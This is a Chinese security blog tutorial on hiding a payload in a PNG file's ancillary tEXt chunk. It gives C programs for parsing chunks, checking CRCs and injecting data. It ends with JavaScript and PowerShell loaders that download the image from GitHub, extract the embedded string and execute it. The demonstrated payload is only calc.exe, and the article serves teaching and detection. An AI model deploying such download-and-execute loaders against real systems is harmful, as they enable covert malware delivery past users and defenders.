回归最本质的信息安全

隐写技巧:利用PNG文件格式隐藏Payload

2016年8月20日发布

3,237
0
0

导语:隐写术(Steganography)由来已久,其中有很多好玩儿的细节,所以打算系统的研究一下,这次先从PNG的文件格式开始。

前言

隐写术(Steganography)由来已久,其中有很多好玩儿的细节,所以打算系统的研究一下,这次先从PNG的文件格式开始。

图片来自于http://null-byte.wonderhowto.com/how-to/guide-steganography-part-1-hide-secret-messages-images-0130797/

简介

隐写术可以理解为信息隐藏,在渗透测试中最主要的应用是对Payload的隐藏。本文会对PNG的文件格式进行分析,编写c程序实现自动解析文件格式,并按照其文件格式添加自定义的payload,不仅不会影响图片的正常浏览,同时可将图片上传到网络,使用时将图片下载再以特定格式解密,最终执行payload。

注:所有程序源码已上传github,地址为: https://github.com/3gstudent/PNG-Steganography

PNG文件格式

1、PNG文件署名域

前8字节

固定格式,16进制为: 89 504e 47 0d 0a 1a 0a

2、数据块

Chunk Type Code(数据块类型码): 4字节,数据块类型码
Chunk Data(数据块数据): 可变长度,存储数据
CRC(循环冗余检测): 4字节,存储用来检测是否有错误的循环冗余码

数据块类型:

1. 关键数据块(criticalchunk)

(1) 文件头数据块IHDR(headerchunk) - 包含PNG文件的基本信息 - 一个PNG数据流中只能有一个IHDR - 必须在PNG文件最前面
(2) 调色板数据块PLTE(palettechunk) - 包含有与索引彩色图像(indexed-color image)相关的彩色变换数据 - 必须在IDAT之前
(3) 图像数据块IDAT(imagedata chunk) - 存储实际的数据 - 可存在多个 -必须与其他IDAT连续
(4) 图像结束数据IEND(imagetrailer chunk) - 固定格式,16进制为: 0000 00 00 49 45 4E 44 AE 42 60 82 - 必须在PNG文件最尾部

2. 辅助数据块(ancillarychunk)

用于辅助指示PNG图像中的层、文字等信息

可删除,不影响图片浏览,但图像将失去原来的可编辑性

(1) 背景颜色数据块bKGD(backgroundcolor)
(2) 基色和白色度数据块cHRM(primarychromaticities and white point)
(3) 图像γ数据块gAMA(image gamma)
(4) 图像直方图数据块hIST(imagehistogram)
(5) 物理像素尺寸数据块pHYs(physicalpixel dimensions)
(6) 样本有效位数据块sBIT(significantbits)
(7) 文本信息数据块tEXt(textualdata)
(8) 图像最后修改时间数据块tIME(image last-modification time)
(9) 图像透明数据块tRNS(transparency)
(10) 压缩文本数据块zTXt(compressed textual data)

实例格式分析

工具:Hex Editor

优点:可对16进制字符串进行标记,设置颜色,方便格式分析

测试文件:如图

源下载地址:http://www.easyicon.net/language.en/1172671-png_icon.html

标记好的文件格式如图

1483600116330102.jpg

###(1) PNG文件署名域

固定格式:

89 50 4e 47 0d 0a 1a 0a ###(2) IHDR
00000008h: 00 00 00 0D 49 48 44 52 00 00 001A 00 00 00 1A ; ….IHDR…….. 00000018h: 08 04 00 00 00 03 43 84 45 ; ……C凟

数据块结构:

Length: 00 00 00 0D

前4字节,定义长度,00 00 000D十进制为13,代表长度为13个字节

Chunk Type Code: 4948 44 52

4字节,定义数据块类型码,此处为IHDR

Chunk Data: 00 0000 1A 00 00 00 1A 08 04 00 00 00

共13字节,定义数据内容

CRC: 4字节,对Chunk Type Code+Chunk Data作CRC32计算得出的值

即对以下十六进制作计算: 49 48 44 52 00 00 00 1A 00 0000 1A 08 04 00 00 00

编写程序对CRC算法进行验证,保存为example1.cpp,源代码如下:

#include <string.h>
unsigned int GetCrc32(char* InStr,unsignedint len){       
 unsigned int Crc32Table[256];     
  inti,j;       
 unsigned int Crc;       
  for(i = 0; i < 256; i++){       
            Crc= i;       
            for(j = 0; j < 8; j++){       
              if (Crc & 1)       
                        Crc= (Crc >> 1) ^ 0xEDB88320;       
              else      
                        Crc>>= 1;     
            }       
            Crc32Table[i]= Crc;       
 }       
 Crc=0xffffffff;       
  for(intm=0; m<len; m++){         
            Crc= (Crc >> 8) ^ Crc32Table[(Crc & 0xFF) ^ InStr[m]];       
 }    
  Crc^= 0xFFFFFFFF;    
 return Crc;       
}       
int main(int argc, char* argv[])
{
            charbuf[17]={0x49,0x48,0x44,0x52,0x00,0x00,0x00,0x1A,0x00,0x00,0x00,0x1A,0x08,0x04,0x00,0x00,0x00};
            unsignedint crc32=GetCrc32(buf,sizeof(buf));
            printf("%08X\n",crc32);
            return0;
}

运行后如图,输出03438445,同文件中的CRC32校验码相同

(2) gAMA

00000021h: 00 00 00 04 67 41 4D 41 00 00 B18F 0B FC 61 05 ; ….gAMA..睆.黙.

数据块结构:

Length: 00 00 00 04
Chunk Type Code: 6741 4D 41
Chunk Data: 00 00B1 8F
CRC: 0B FC 61 05

(3) cHRM

00000031h: 00 00 00 20 63 48 52 4D 00 00 7A26 00 00 80 84 ; … cHRM..z&..€? 00000041h: 00 00 FA 00 00 00 80 E8 00 00 7530 00 00 EA 60 ; ..?..€?.u0..阘 00000051h: 00 00 3A 9800 00 17 70 9C BA 51 3C ; ..:?..p満Q<

数据块结构:

Length: 00 00 00 20
Chunk Type Code: 6348 52 4D
Chunk Data: 00 007A 26 00 00 80 84 00 00 FA 00 00 00 80 E8 00 00 75 30 00 00 EA 60 00 00 3A 9800 00 17 70
CRC: 9C BA 51 3C

(4) IDAT

(5-14) tEXt

(15)IEND

数据块结构:

Length: 00 00 00 00
Chunk Type Code: 4945 4E 44
Chunk Data:
CRC: AE 42 60 82

固定结构,CRC的值为对ChunkType Code作CRC32校验

编写程序分析文件格式

开发工具:vc6.0

1、读取PNG文件

保存为example2.cpp,代码如下:

#include<stdio.h>
#include<string.h>
int main(int argc, char* argv[])
{
            FILE*fp;  
            if((fp=fopen("c:\\test\\test.png","rb+"))==NULL)
                        return0;  
            fseek(fp,0,SEEK_END);
            intlen=ftell(fp);
            unsignedchar *buf=new unsigned char[len];     
            fseek(fp,0,SEEK_SET);
            fread(buf,len,1,fp);
            printf("len=%d\n",len);
            for(inti=1;i<=len;i++)
            {
                        printf("%02X",buf[i-1]);
                        if(i%16==0)
                                    printf("\n");
            }
            fclose(fp);
            printf("\n");
            return0;        
}

如图,程序按照UltraEdit的格式输出,以便后续的格式分析

2、解析数据块结构

从第8字节开始,读前四字节为ChunkLength

对应的代码为:

unsigned intChunkLen=(buf[0]<<24)|(buf[1]<<16)|(buf[2]<<8)|buf[3];

接着四字节为ChunkName

printf("ChunkName:%c%c%c%c\n",buf[0],buf[1],buf[2],buf[3]);

然后根据ChunkLength读出完整的ChunkData

最后读出CRC32的值,同Chunk Type Code+Chunk Data求出的CRC32校验值作比较

保存为check.cpp,完整代码如下:

#include<stdio.h>
#include<string.h>
unsigned int GetCrc32(unsigned char*InStr,unsigned int len){       
            unsignedint Crc32Table[256];     
            unsignedint i,j;       
            unsignedint Crc;       
            for(i = 0; i < 256; i++){       
                        Crc= i;       
                        for(j = 0; j < 8; j++){       
                                    if(Crc & 1)       
                                                Crc= (Crc >> 1) ^ 0xEDB88320;       
                                    else      
                                                Crc>>= 1;     
                        }       
                        Crc32Table[i]= Crc;       
            }       
            Crc=0xffffffff;       
            for(unsignedint m=0; m<len; m++){         
                        Crc= (Crc >> 8) ^ Crc32Table[(Crc & 0xFF) ^ InStr[m]];       
            }    
            Crc^= 0xFFFFFFFF;    
            returnCrc;       
}       
int main(int argc, char* argv[])
{
            FILE*fp;  
            unsignedchar *buf=NULL;
            unsignedint len=0;
            unsignedint ChunkLen=0;
            unsignedint ChunkCRC32=0;
            unsignedint ChunkOffset=0;        
            unsignedint crc32=0;
            unsignedint i=0;
            if((fp=fopen("c:\\test\\test.png","rb+"))==NULL)
                        return0;  
            fseek(fp,0,SEEK_END);
            len=ftell(fp);
            buf=newunsigned char[len];
            fseek(fp,0,SEEK_SET);
            fread(buf,len,1,fp);
            printf("TotalLen=%d\n",len);
            printf("----------------------------------------------------\n");
            fseek(fp,8,SEEK_SET);
            ChunkOffset=8;
            i=0;
            while(1)
            {
                        i++;
                        memset(buf,0,len);
                        fread(buf,4,1,fp);
                        ChunkLen=(buf[0]<<24)|(buf[1]<<16)|(buf[2]<<8)|buf[3];
                        fread(buf,4+ChunkLen,1,fp);
                        printf("[+]ChunkName:%c%c%c%c                 ",buf[0],buf[1],buf[2],buf[3]);
                        if(strncmp((char*)buf,"IHDR",4)==0|strncmp((char*)buf,"PLTE",4)==0|strncmp((char *)buf,"IDAT",4)==0)
                                    printf("PaletteChunk\n");
                        printf("AncillaryChunk\n");
                        printf("   ChunkOffset:0x%08x       \n",ChunkOffset);
                        printf("   ChunkLen: %10d              \n",ChunkLen);
                        ChunkOffset+=ChunkLen+12;
                        crc32=GetCrc32(buf,ChunkLen+4);
                        printf("   ExpectCRC32:%08X\n",crc32);
                        fread(buf,4,1,fp);
                        ChunkCRC32=(buf[0]<<24)|(buf[1]<<16)|(buf[2]<<8)|buf[3];
                        printf("   ChunkCRC32: %08X                     ",ChunkCRC32);
                        if(crc32!=ChunkCRC32)
                                    printf("[!]CRC32CheckError!\n");
                        else
                                    printf("CheckSuccess!\n\n");
                        ChunkLen=ftell(fp);
                        if(ChunkLen==(len-12))
                        {
                                    printf("\n----------------------------------------------------\n");
                                    printf("TotalChunk:%d\n",i);                       
                                    break;
                        }
            }
            fclose(fp);
            return0;        
}

运行如图,可获得完整的PNG文件结构

注:这个程序可用来对PNG文件进行格式分析,标记PNG文件的数据块名称、偏移地址、数据块长度、比较预期和实际的CRC32校验码,可基于此对批量文件进行分析,查找可疑文件。

去除多余数据

上面提到,去除辅助数据块的内容对PNG图像的浏览没有影响,下面就尝试去除PNG文件的所有辅助数据块

### 1、工具实现

如图,使用Hex Editor去除辅助数据块gAMA、cHRM和bKGD

如图,文件大小变化,但不影响PNG文件浏览

2、程序实现

去除所有辅助数据块,只提取关键信息。程序先对ChunkName作判断,忽略非关键数据块(Ancillary Chunk)的内容,并保存为new.png

保存为compress.cpp,完整代码为:

#include<stdio.h>
#include<string.h>
unsigned int GetCrc32(unsignedchar*InStr,unsigned int len){       
           unsignedint Crc32Table[256];     
           unsignedint i,j;       
           unsignedint Crc;       
           for(i = 0; i < 256; i++){       
                       Crc= i;       
                       for (j = 0;j < 8; j++){       
                                   if(Crc & 1)       
                                               Crc= (Crc >> 1) ^ 0xEDB88320;       
                                   else      
                                               Crc>>= 1;     
                       }       
                       Crc32Table[i]= Crc;       
           }       
           Crc=0xffffffff;       
           for(unsignedint m=0; m<len; m++){         
                       Crc= (Crc >> 8) ^ Crc32Table[(Crc & 0xFF) ^InStr[m]];       
           }    
           Crc^= 0xFFFFFFFF;    
           returnCrc;       
}       
int main(int argc, char* argv[])
{
           FILE*fp,*fpnew;  
           unsignedchar *buf=NULL;
           unsignedint len=0;
           unsignedint ChunkLen=0;
           unsignedint ChunkCRC32=0;
           unsignedint ChunkOffset=0;        
           unsignedint crc32=0;
           unsignedint i=0,j=0;
           unsignedcharSignature[8]={0x89,0x50,0x4e,0x47,0x0d,0x0a,0x1a,0x0a};         
           unsignedchar IEND[12]={0x00,0x00,0x00,0x00,0x49,0x45,0x4e,0x44,0xae,0x42,0x60,0x82};       
           if((fp=fopen("c:\\test\\0.png","rb+"))==NULL)
                       return0; 
           if((fpnew=fopen("c:\\test\\new.png","wb"))==NULL)
                       return0; 
           fseek(fp,0,SEEK_END);
           len=ftell(fp);
           buf=newunsigned char[len];
           fseek(fp,0,SEEK_SET);
           fread(buf,len,1,fp);
           printf("TotalLen=%d\n",len);
           printf("----------------------------------------------------\n");
           fseek(fp,8,SEEK_SET);
           ChunkOffset=8;
           i=0;
           fwrite(Signature,8,1,fpnew);
           while(1)
           {
                       i++;
                       j=0;
                       memset(buf,0,len);
                       fread(buf,4,1,fp);
                      fwrite(buf,4,1,fpnew);
                       ChunkLen=(buf[0]<<24)|(buf[1]<<16)|(buf[2]<<8)|buf[3];
                       fread(buf,4+ChunkLen,1,fp);
                       printf("[+]ChunkName:%c%c%c%c                ",buf[0],buf[1],buf[2],buf[3]);
                       if(strncmp((char*)buf,"IHDR",4)==0|strncmp((char*)buf,"PLTE",4)==0|strncmp((char*)buf,"IDAT",4)==0)
                       {          
                                   printf("PaletteChunk\n");
                                   fwrite(buf,4+ChunkLen,1,fpnew);
                       }
                       else
                       {
                                   printf("AncillaryChunk\n");
                                   fseek(fpnew,-4,SEEK_CUR);
                                   j=1;
                       }
                       printf("  ChunkOffset:0x%08x       \n",ChunkOffset);
                       printf("   ChunkLen:%10d             \n",ChunkLen);
                       crc32=GetCrc32(buf,ChunkLen+4);
                       printf("   ExpectCRC32:%08X\n",crc32);
                       fread(buf,4,1,fp);
                       ChunkCRC32=(buf[0]<<24)|(buf[1]<<16)|(buf[2]<<8)|buf[3];
                       printf("   ChunkCRC32:%08X                    ",ChunkCRC32);
                       if(crc32!=ChunkCRC32)
                                   printf("[!]CRC32CheckError!\n");
                       else
                       {
                                   printf("CheckSuccess!\n\n");
                                   if(j==0)
                                               fwrite(buf,4,1,fpnew);
                       }
                       ChunkLen=ftell(fp);
                       if(ChunkLen==(len-12))
                       {
                                   printf("\n----------------------------------------------------\n");
                                   printf("TotalChunk:%d\n",i);                       
                                   break;
                       }
           }
           fwrite(IEND,12,1,fpnew);
           fclose(fp);
           fclose(fpnew);
           return0;        
}

如图,左边为原始PNG文件大小,右边为去掉所有辅助数据块后的文件,仍然可以正常浏览

0f61414c20dee69b9b06b0d5f03064fe.png

写入Payload

实例:按照辅助数据块的格式写入Payload

写入的Payload为:calc.exe

辅助数据块设置为:tEXt

对应的完整数据块结构如下:

Length:   0000 00 08
Chunk Type Code: 74 45 58 74
Chunk Data:63 61 6c 632e 65 78 65
CRC:fa c4 08 76

写入的十六进制数据如下:

00 00 00 08 74 45 58 74 63 61 6c 63 2e 6578 65 fa c4 08 76

注: 本实例仅作演示,实际使用可换成其他数据块,更加隐蔽

1、工具实现

使用Hex Editor插入数据,如图

保存后,不影响PNG文件浏览

2、程序实现

去掉PNG文件所有的辅助数据块后,写入payload数据块tEXt

保存为addpayload.cpp,完整代码:

#include<stdio.h>
#include<string.h>
unsigned int GetCrc32(unsigned char*InStr,unsigned int len){       
            unsignedint Crc32Table[256];     
            unsignedint i,j;       
            unsignedint Crc;       
            for(i = 0; i < 256; i++){       
                        Crc= i;       
                        for(j = 0; j < 8; j++){       
                                    if(Crc & 1)       
                                                Crc= (Crc >> 1) ^ 0xEDB88320;       
                                    else      
                                                Crc>>= 1;     
                        }       
                        Crc32Table[i]= Crc;       
            }       
            Crc=0xffffffff;       
            for(unsignedint m=0; m<len; m++){         
                        Crc= (Crc >> 8) ^ Crc32Table[(Crc & 0xFF) ^ InStr[m]];       
            }    
            Crc^= 0xFFFFFFFF;    
            returnCrc;       
}       
void convertStrToUnChar(char* str, unsignedchar* UnChar) 
{ 
            inti = strlen(str), j = 0, counter = 0; 
            charc[2]; 
            unsignedint bytes[2]; 
            for(j = 0; j < i; j += 2)  
            { 
                        if(0== j % 2) 
                        { 
                                    c[0]= str[j]; 
                                    c[1]= str[j + 1]; 
                                    sscanf(c,"%02x" , &bytes[0]); 
                                    UnChar[counter]= bytes[0]; 
                                    counter++; 
                        } 
            } 
            return; 
}    
void AddPayload(FILE *fp)
{
            char*Payload="calc.exe";
            unsignedchar *buf;
            intlen;
            intcrc32;
            len=strlen(Payload);
            buf=newunsigned char[len+12];
            buf[0]=len>>24&0xff;
            buf[1]=len>>16&0xff;
            buf[2]=len>>8&0xff;
            buf[3]=len&0xff;
            buf[4]='t';
            buf[5]='E';
            buf[6]='X';
            buf[7]='t';
            for(intj=0;j<len;j++)
                        buf[j+8]=Payload[j];
            buf[len+8]=0XFA;
            buf[len+9]=0XC4;
            buf[len+10]=0X08;
            buf[len+11]=0X76;
            fwrite(buf,len+12,1,fp);
}
int main(int argc, char* argv[])
{
            FILE*fp,*fpnew;  
            unsignedchar *buf=NULL;
            unsignedint len=0;
            unsignedint ChunkLen=0;
            unsignedint ChunkCRC32=0;
            unsignedint ChunkOffset=0;        
            unsignedint crc32=0;
            unsignedint i=0,j=0;
            unsignedchar Signature[8]={0x89,0x50,0x4e,0x47,0x0d,0x0a,0x1a,0x0a};         
            unsignedchar IEND[12]={0x00,0x00,0x00,0x00,0x49,0x45,0x4e,0x44,0xae,0x42,0x60,0x82};        
            if((fp=fopen("c:\\test\\test.png","rb+"))==NULL)
                        return0; 
            if((fpnew=fopen("c:\\test\\new.png","wb"))==NULL)
                        return0;  
            fseek(fp,0,SEEK_END);
            len=ftell(fp);
            buf=newunsigned char[len];
            fseek(fp,0,SEEK_SET);
            fread(buf,len,1,fp);
            printf("TotalLen=%d\n",len);
            printf("----------------------------------------------------\n");
            fseek(fp,8,SEEK_SET);
            ChunkOffset=8;
            i=0;
            fwrite(Signature,8,1,fpnew);
            while(1)
            {
                        i++;
                        j=0;
                        memset(buf,0,len);
                        fread(buf,4,1,fp);
                        fwrite(buf,4,1,fpnew);
                        ChunkLen=(buf[0]<<24)|(buf[1]<<16)|(buf[2]<<8)|buf[3];
                        fread(buf,4+ChunkLen,1,fp);
                        printf("[+]ChunkName:%c%c%c%c                 ",buf[0],buf[1],buf[2],buf[3]);
                        if(strncmp((char*)buf,"IHDR",4)==0|strncmp((char*)buf,"PLTE",4)==0|strncmp((char *)buf,"IDAT",4)==0)
                        {          
                                    printf("PaletteChunk\n");
                                    fwrite(buf,4+ChunkLen,1,fpnew);
                        }
                        else
                        {
                                    printf("AncillaryChunk\n");
                                    fseek(fpnew,-4,SEEK_CUR);
                                    j=1;
                        }
                        printf("   ChunkOffset:0x%08x       \n",ChunkOffset);
                        printf("   ChunkLen: %10d              \n",ChunkLen);
                        crc32=GetCrc32(buf,ChunkLen+4);
                        printf("   ExpectCRC32:%08X\n",crc32);
                        fread(buf,4,1,fp);
                        ChunkCRC32=(buf[0]<<24)|(buf[1]<<16)|(buf[2]<<8)|buf[3];
                        printf("   ChunkCRC32: %08X                     ",ChunkCRC32);
                        if(crc32!=ChunkCRC32)
                                    printf("[!]CRC32CheckError!\n");
                        else
                        {
                                    printf("CheckSuccess!\n\n");
                                    if(j==0)
                                                fwrite(buf,4,1,fpnew);
                        }
                        ChunkLen=ftell(fp);
                        if(ChunkLen==(len-12))
                        {
                                    printf("\n----------------------------------------------------\n");
                                    printf("TotalChunk:%d\n",i);                       
                                    break;
                        }
            }
            AddPayload(fpnew);
            fwrite(IEND,12,1,fpnew);
            fclose(fp);
            fclose(fpnew);
            return0;        
}

使用check.cpp对其进行校验,如图,校验成功

读取payload并执行

将添加payload的图片上传至github,在客户端实现读取图片解析payload并执行:

1、javascript

h = newActiveXObject("WinHttp.WinHttpRequest.5.1");
h.SetTimeouts(0, 0, 0, 0);
h.Open("GET","https://raw.githubusercontent.com/3gstudent/PNG-Steganography/master//new.png",false);
h.Send();
Data = h.ResponseText;
x=Data.indexOf("tEXt");
y=Data.indexOf("IEND");
str=Data.substring(x+4,y-8);
newActiveXObject("WScript.Shell").Run(str);

2、powershell

$url = 'https://raw.githubusercontent.com/3gstudent/PNG-Steganography/master/new.png'
$request = New-Object System.Net.WebCLient
$bytes = $request.DownloadString($url)
$x=$bytes.indexof("tEXt")
$y=$bytes.indexof("IEND")
$str=$bytes.Substring($x+4,$y-$x-12)
Start-Process -FilePath $str

注:这里给出两种方法,仅作演示

小结

本文详细介绍分析了PNG文件的格式,编写程序实现以下功能:

自动解析PNG文件格式,辅助查找其中的隐藏内容

添加Payload

下载PNG图片解析并执行payload

(完)

本文为 3gstudent 授权嘶吼独家发布,未经许可禁止转载;如若转载,请注明来源于嘶吼: http://www.4hou.com/technology/2849.html

点赞 0
取消

感谢您的支持,我会继续努力的!

扫码支持

打开微信扫一扫后点击右上角即可分享哟

3gstudent

3gstudent

嘶吼特约作者

发私信

发表评论